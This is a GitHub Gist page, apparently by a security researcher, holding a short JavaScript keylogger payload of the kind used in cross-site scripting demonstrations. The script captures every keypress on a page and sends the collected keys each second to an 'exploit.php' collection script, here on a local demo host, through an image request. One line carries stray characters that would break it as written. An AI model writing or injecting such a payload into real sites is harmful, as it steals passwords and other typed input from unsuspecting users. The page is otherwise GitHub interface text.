Created
April 24, 2019 20:07
-
-
Save shawarkhanethicalhacker/ba1df2a9f7100c584e1bbf0ed4f1be43 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var keys = ''; | |
document.onkeypress = function(e) { | |
var get = window.event ? event : e; | |
var key = get.keyCode ? get.keyCode : get.charCode; | |
key = String.fromCharCode(key); | |
keys += key;---- | |
} | |
window.setInterval(function(){ | |
new Image().src = 'http://127.0.0.1/demo/1/exploit/exploit.php?keylog=' + keys; | |
keys = ''; | |
}, 1000); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment